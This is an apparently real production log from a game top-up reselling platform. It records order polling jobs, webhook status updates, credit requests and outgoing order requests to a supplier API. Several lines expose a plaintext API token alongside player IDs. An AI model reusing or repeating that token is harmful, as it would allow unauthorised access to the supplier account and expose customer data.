[2026-03-24 21:12:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"jj0wrLvGrkeXNw9kf94xLdfELd0Rz7iz","execution_time":"2026-03-24 21:12:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-w9iTLC-1774375810","operation_id":164251} 
[2026-03-24 21:12:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"jj0wrLvGrkeXNw9kf94xLdfELd0Rz7iz","execution_time":"2026-03-24 21:12:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-w9iTLC-1774375810","operation_id":164251,"processed":0,"skipped":5,"updates_prepared":0} 
[2026-03-24 21:12:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"jj0wrLvGrkeXNw9kf94xLdfELd0Rz7iz","execution_time":"2026-03-24 21:12:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-w9iTLC-1774375810","operation_id":164251,"processed":0,"errors":0} 
[2026-03-24 21:12:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"jj0wrLvGrkeXNw9kf94xLdfELd0Rz7iz","execution_time":"2026-03-24 21:12:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-w9iTLC-1774375810","operation_id":164251} 
[2026-03-24 21:14:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"XpyR30hjbdRxrW6g9IBPFDOspg3e60nF","execution_time":"2026-03-24 21:14:03"} 
[2026-03-24 21:14:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"XpyR30hjbdRxrW6g9IBPFDOspg3e60nF","execution_time":"2026-03-24 21:14:03","total_operations":5,"sites_count":1} 
[2026-03-24 21:14:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"XpyR30hjbdRxrW6g9IBPFDOspg3e60nF","execution_time":"2026-03-24 21:14:03","site_id":3,"site_name":"swgamessd","orders_count":5,"order_ids":["ORD-Ruo-1774375001","ORD-dmC3KGa-1774375766","ORD-w9iTLC-1774375810","ORD-aN9XaXgI-1774375820","ORD-nDS-1774375851"]} 
[2026-03-24 21:14:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"XpyR30hjbdRxrW6g9IBPFDOspg3e60nF","execution_time":"2026-03-24 21:14:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 21:14:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"XpyR30hjbdRxrW6g9IBPFDOspg3e60nF","execution_time":"2026-03-24 21:14:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":5} 
[2026-03-24 21:14:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"XpyR30hjbdRxrW6g9IBPFDOspg3e60nF","execution_time":"2026-03-24 21:14:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-aN9XaXgI-1774375820","operation_id":164252} 
[2026-03-24 21:14:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"XpyR30hjbdRxrW6g9IBPFDOspg3e60nF","execution_time":"2026-03-24 21:14:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-dmC3KGa-1774375766","operation_id":164250} 
[2026-03-24 21:14:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"XpyR30hjbdRxrW6g9IBPFDOspg3e60nF","execution_time":"2026-03-24 21:14:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235} 
[2026-03-24 21:14:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"XpyR30hjbdRxrW6g9IBPFDOspg3e60nF","execution_time":"2026-03-24 21:14:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-w9iTLC-1774375810","operation_id":164251} 
[2026-03-24 21:14:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"XpyR30hjbdRxrW6g9IBPFDOspg3e60nF","execution_time":"2026-03-24 21:14:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-w9iTLC-1774375810","operation_id":164251,"processed":1,"skipped":4,"updates_prepared":1} 
[2026-03-24 21:14:04] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"XpyR30hjbdRxrW6g9IBPFDOspg3e60nF","execution_time":"2026-03-24 21:14:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-w9iTLC-1774375810","operation_id":164251,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 21:14:04] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"XpyR30hjbdRxrW6g9IBPFDOspg3e60nF","execution_time":"2026-03-24 21:14:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-w9iTLC-1774375810","operation_id":164251,"count":1} 
[2026-03-24 21:14:04] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"XpyR30hjbdRxrW6g9IBPFDOspg3e60nF","execution_time":"2026-03-24 21:14:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-w9iTLC-1774375810","operation_id":164251,"count":1} 
[2026-03-24 21:14:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"XpyR30hjbdRxrW6g9IBPFDOspg3e60nF","execution_time":"2026-03-24 21:14:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-w9iTLC-1774375810","operation_id":164251,"user_id":645,"notification_type":"order_approved","reference_id":179377} 
[2026-03-24 21:14:04] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"XpyR30hjbdRxrW6g9IBPFDOspg3e60nF","execution_time":"2026-03-24 21:14:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-w9iTLC-1774375810","operation_id":164251,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 21:14:04] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"XpyR30hjbdRxrW6g9IBPFDOspg3e60nF","execution_time":"2026-03-24 21:14:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-w9iTLC-1774375810","operation_id":164251,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 21:14:04] production.INFO: Batch update completed {"job":"Quryjob","job_id":"XpyR30hjbdRxrW6g9IBPFDOspg3e60nF","execution_time":"2026-03-24 21:14:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-w9iTLC-1774375810","operation_id":164251,"processed":1,"errors":0} 
[2026-03-24 21:14:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"XpyR30hjbdRxrW6g9IBPFDOspg3e60nF","execution_time":"2026-03-24 21:14:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-w9iTLC-1774375810","operation_id":164251,"processed":1,"errors":0} 
[2026-03-24 21:14:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"XpyR30hjbdRxrW6g9IBPFDOspg3e60nF","execution_time":"2026-03-24 21:14:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-w9iTLC-1774375810","operation_id":164251} 
[2026-03-24 21:14:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 645  
[2026-03-24 21:14:05] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-nDS-1774375851","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 21:14:05] production.INFO: Processed webhook data (normalized) {"id":"ORD-nDS-1774375851","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 21:14:05] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 21:14:05] production.ERROR: Order not found or already processed. External ID: ORD-nDS-1774375851  
[2026-03-24 21:14:05] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-nDS-1774375851","status":"completed","codes_count":0} 
[2026-03-24 21:14:42] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"110.0","mainamount":"110","operation_number":"158745473","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/php5omc5k78ila20khGyHF"}},"user_id":1386} 
[2026-03-24 21:14:43] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 21:14:43] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 21:14:43] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 21:14:43] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 21:14:43] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 21:14:43] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 21:14:43] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 21:14:43] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 21:14:43] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18713,"user_id":1386,"amount":110.0,"admins_notified":7} 
[2026-03-24 21:15:04] production.INFO: Executing GetProducts task...  
[2026-03-24 21:15:04] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 21:15:04] production.INFO: Executing GetProducts task...  
[2026-03-24 21:15:06] production.INFO: async() رجع: true  
[2026-03-24 21:15:06] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 21:15:06] production.WARNING: Product with ID 395 not found  
[2026-03-24 21:15:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 21:15:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 21:15:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 21:15:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 21:15:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 21:15:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 21:15:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 21:15:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 21:15:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 21:15:20] production.INFO: SendAcceptReject: Notification queued {"user_id":1759,"notification_type":"request_approved","reference_id":18711} 
[2026-03-24 21:15:22] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1759  
[2026-03-24 21:15:33] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-w9iTLC-1774375810","status":"cancelled","notes":[],"codes":[]}} 
[2026-03-24 21:15:33] production.INFO: Processed webhook data (normalized) {"id":"ORD-w9iTLC-1774375810","status":"cancelled","codes":[],"notes":[]} 
[2026-03-24 21:15:33] production.INFO: Mapped webhook status {"external_status":"cancelled","mapped_status":3} 
[2026-03-24 21:15:33] production.INFO: SendAcceptReject: Notification queued {"user_id":1190,"notification_type":"order_rejected","reference_id":179375} 
[2026-03-24 21:15:33] production.INFO: Order updated successfully. Order ID: 179375, Status: rejected  
[2026-03-24 21:15:33] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-w9iTLC-1774375810","status":"rejected","codes_count":0} 
[2026-03-24 21:15:33] production.INFO: Constructing job for order: 179378  
[2026-03-24 21:15:34] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1190  
[2026-03-24 21:15:34] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1190  
[2026-03-24 21:15:34] production.INFO: Handling job for order: 179378  
[2026-03-24 21:15:34] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:15:34] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:15:34] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=a7c122dd-976e-4376-99f9-08060d5542ac&Player_ID=52129672817  
[2026-03-24 21:15:34] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=a7c122dd-976e-4376-99f9-08060d5542ac&Player_ID=52129672817","has_body":false} 
[2026-03-24 21:15:35] production.INFO: Operation sent successfully {"operation_id":164254,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-jqK-1774376135","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 21:15:35"}},"processed_data":{"order_number":"ORD-jqK-1774376135","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 21:16:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"s8KW92wwwnGTwYymV4Wp4B3cOEuYo1N5","execution_time":"2026-03-24 21:16:02"} 
[2026-03-24 21:16:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"s8KW92wwwnGTwYymV4Wp4B3cOEuYo1N5","execution_time":"2026-03-24 21:16:02","total_operations":4,"sites_count":1} 
[2026-03-24 21:16:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"s8KW92wwwnGTwYymV4Wp4B3cOEuYo1N5","execution_time":"2026-03-24 21:16:02","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-Ruo-1774375001","ORD-dmC3KGa-1774375766","ORD-aN9XaXgI-1774375820","ORD-jqK-1774376135"]} 
[2026-03-24 21:16:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"s8KW92wwwnGTwYymV4Wp4B3cOEuYo1N5","execution_time":"2026-03-24 21:16:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 21:16:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"s8KW92wwwnGTwYymV4Wp4B3cOEuYo1N5","execution_time":"2026-03-24 21:16:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 21:16:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"s8KW92wwwnGTwYymV4Wp4B3cOEuYo1N5","execution_time":"2026-03-24 21:16:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-aN9XaXgI-1774375820","operation_id":164252} 
[2026-03-24 21:16:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"s8KW92wwwnGTwYymV4Wp4B3cOEuYo1N5","execution_time":"2026-03-24 21:16:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-dmC3KGa-1774375766","operation_id":164250} 
[2026-03-24 21:16:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"s8KW92wwwnGTwYymV4Wp4B3cOEuYo1N5","execution_time":"2026-03-24 21:16:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-jqK-1774376135","operation_id":164254} 
[2026-03-24 21:16:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"s8KW92wwwnGTwYymV4Wp4B3cOEuYo1N5","execution_time":"2026-03-24 21:16:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235} 
[2026-03-24 21:16:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"s8KW92wwwnGTwYymV4Wp4B3cOEuYo1N5","execution_time":"2026-03-24 21:16:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 21:16:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"s8KW92wwwnGTwYymV4Wp4B3cOEuYo1N5","execution_time":"2026-03-24 21:16:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235,"processed":0,"errors":0} 
[2026-03-24 21:16:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"s8KW92wwwnGTwYymV4Wp4B3cOEuYo1N5","execution_time":"2026-03-24 21:16:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235} 
[2026-03-24 21:16:26] production.INFO: Constructing job for order: 179379  
[2026-03-24 21:16:29] production.INFO: Handling job for order: 179379  
[2026-03-24 21:16:29] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:16:29] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:16:29] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/733/params?qty=100000&uuid=0a4e433a-441d-425e-a8ea-4cef0139ef25&Player_ID=7842984  
[2026-03-24 21:16:29] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/733/params?qty=100000&uuid=0a4e433a-441d-425e-a8ea-4cef0139ef25&Player_ID=7842984","has_body":false} 
[2026-03-24 21:16:30] production.INFO: Operation sent successfully {"operation_id":164255,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-ydEBh-1774376190","amount":4.3155599999999996185806594439782202243804931640625,"status":"processing","product":"Dana Amount","game":"DanaChat","notes":[],"created_at":"2026-03-24 21:16:30"}},"processed_data":{"order_number":"ORD-ydEBh-1774376190","amount":4.3155599999999996185806594439782202243804931640625,"status":"processing","product":"Dana Amount","game":"DanaChat"}} 
[2026-03-24 21:17:15] production.INFO: Constructing job for order: 179380  
[2026-03-24 21:17:15] production.INFO: Constructing job for order: 179381  
[2026-03-24 21:17:18] production.INFO: Handling job for order: 179381  
[2026-03-24 21:17:18] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:17:18] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:17:18] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=afbe48c7-d5e7-44f3-b38f-bbc8985f9967&Player_ID=52060257475  
[2026-03-24 21:17:18] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=afbe48c7-d5e7-44f3-b38f-bbc8985f9967&Player_ID=52060257475","has_body":false} 
[2026-03-24 21:17:19] production.INFO: Operation sent successfully {"operation_id":164256,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-6bEFKlO-1774376239","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 21:17:19"}},"processed_data":{"order_number":"ORD-6bEFKlO-1774376239","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 21:17:19] production.INFO: Handling job for order: 179380  
[2026-03-24 21:17:19] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:17:19] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:17:19] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/95/params?qty=100&uuid=1445994d-9911-42a4-bed7-c3b9ddd0d990&Player_ID=1113376259  
[2026-03-24 21:17:19] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/95/params?qty=100&uuid=1445994d-9911-42a4-bed7-c3b9ddd0d990&Player_ID=1113376259","has_body":false} 
[2026-03-24 21:17:19] production.INFO: Constructing job for order: 179382  
[2026-03-24 21:17:20] production.INFO: Operation sent successfully {"operation_id":164257,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-bWvaG4-1774376240","amount":1.747826079999999837610857866820879280567169189453125,"status":"processing","product":"Bigo Amount","game":"BigoLive","notes":[],"created_at":"2026-03-24 21:17:20"}},"processed_data":{"order_number":"ORD-bWvaG4-1774376240","amount":1.747826079999999837610857866820879280567169189453125,"status":"processing","product":"Bigo Amount","game":"BigoLive"}} 
[2026-03-24 21:17:20] production.INFO: Handling job for order: 179382  
[2026-03-24 21:17:20] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:17:20] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:17:20] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=1a0fd418-2afb-4cbc-a00a-3547a9cb4b7a&Player_ID=52060257475  
[2026-03-24 21:17:20] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=1a0fd418-2afb-4cbc-a00a-3547a9cb4b7a&Player_ID=52060257475","has_body":false} 
[2026-03-24 21:17:21] production.INFO: Operation sent successfully {"operation_id":164258,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-f7yh7-1774376240","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 21:17:21"}},"processed_data":{"order_number":"ORD-f7yh7-1774376240","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 21:17:24] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-bWvaG4-1774376240","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 21:17:24] production.INFO: Processed webhook data (normalized) {"id":"ORD-bWvaG4-1774376240","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 21:17:24] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 21:17:24] production.INFO: SendAcceptReject: Notification queued {"user_id":1190,"notification_type":"order_approved","reference_id":179380} 
[2026-03-24 21:17:24] production.INFO: Order updated successfully. Order ID: 179380, Status: completed  
[2026-03-24 21:17:24] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-bWvaG4-1774376240","status":"completed","codes_count":0} 
[2026-03-24 21:17:27] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1190  
[2026-03-24 21:17:30] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-6bEFKlO-1774376239","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 21:17:30] production.INFO: Processed webhook data (normalized) {"id":"ORD-6bEFKlO-1774376239","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 21:17:30] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 21:17:30] production.INFO: SendAcceptReject: Notification queued {"user_id":600,"notification_type":"order_approved","reference_id":179381} 
[2026-03-24 21:17:30] production.INFO: Order updated successfully. Order ID: 179381, Status: completed  
[2026-03-24 21:17:30] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-6bEFKlO-1774376239","status":"completed","codes_count":0} 
[2026-03-24 21:17:33] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 600  
[2026-03-24 21:17:39] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-f7yh7-1774376240","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 21:17:39] production.INFO: Processed webhook data (normalized) {"id":"ORD-f7yh7-1774376240","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 21:17:39] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 21:17:39] production.INFO: SendAcceptReject: Notification queued {"user_id":600,"notification_type":"order_approved","reference_id":179382} 
[2026-03-24 21:17:39] production.INFO: Order updated successfully. Order ID: 179382, Status: completed  
[2026-03-24 21:17:39] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-f7yh7-1774376240","status":"completed","codes_count":0} 
[2026-03-24 21:17:42] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 600  
[2026-03-24 21:18:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"iKdCxoDYQuwZc6mrzqOUBnfX4a2Dft6D","execution_time":"2026-03-24 21:18:03"} 
[2026-03-24 21:18:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"iKdCxoDYQuwZc6mrzqOUBnfX4a2Dft6D","execution_time":"2026-03-24 21:18:03","total_operations":5,"sites_count":1} 
[2026-03-24 21:18:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"iKdCxoDYQuwZc6mrzqOUBnfX4a2Dft6D","execution_time":"2026-03-24 21:18:03","site_id":3,"site_name":"swgamessd","orders_count":5,"order_ids":["ORD-Ruo-1774375001","ORD-dmC3KGa-1774375766","ORD-aN9XaXgI-1774375820","ORD-jqK-1774376135","ORD-ydEBh-1774376190"]} 
[2026-03-24 21:18:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"iKdCxoDYQuwZc6mrzqOUBnfX4a2Dft6D","execution_time":"2026-03-24 21:18:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 21:18:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"iKdCxoDYQuwZc6mrzqOUBnfX4a2Dft6D","execution_time":"2026-03-24 21:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":5} 
[2026-03-24 21:18:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"iKdCxoDYQuwZc6mrzqOUBnfX4a2Dft6D","execution_time":"2026-03-24 21:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-aN9XaXgI-1774375820","operation_id":164252} 
[2026-03-24 21:18:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"iKdCxoDYQuwZc6mrzqOUBnfX4a2Dft6D","execution_time":"2026-03-24 21:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-dmC3KGa-1774375766","operation_id":164250} 
[2026-03-24 21:18:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"iKdCxoDYQuwZc6mrzqOUBnfX4a2Dft6D","execution_time":"2026-03-24 21:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-jqK-1774376135","operation_id":164254} 
[2026-03-24 21:18:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"iKdCxoDYQuwZc6mrzqOUBnfX4a2Dft6D","execution_time":"2026-03-24 21:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235} 
[2026-03-24 21:18:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"iKdCxoDYQuwZc6mrzqOUBnfX4a2Dft6D","execution_time":"2026-03-24 21:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ydEBh-1774376190","operation_id":164255} 
[2026-03-24 21:18:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"iKdCxoDYQuwZc6mrzqOUBnfX4a2Dft6D","execution_time":"2026-03-24 21:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ydEBh-1774376190","operation_id":164255,"processed":0,"skipped":5,"updates_prepared":0} 
[2026-03-24 21:18:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"iKdCxoDYQuwZc6mrzqOUBnfX4a2Dft6D","execution_time":"2026-03-24 21:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ydEBh-1774376190","operation_id":164255,"processed":0,"errors":0} 
[2026-03-24 21:18:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"iKdCxoDYQuwZc6mrzqOUBnfX4a2Dft6D","execution_time":"2026-03-24 21:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ydEBh-1774376190","operation_id":164255} 
[2026-03-24 21:18:53] production.INFO: Constructing job for order: 179383  
[2026-03-24 21:18:54] production.INFO: Handling job for order: 179383  
[2026-03-24 21:18:54] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:18:54] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:18:54] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/825/params?qty=4000&uuid=36c20318-d941-40f7-8156-6459bd7b48f9&Player_ID=4610745  
[2026-03-24 21:18:54] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/825/params?qty=4000&uuid=36c20318-d941-40f7-8156-6459bd7b48f9&Player_ID=4610745","has_body":false} 
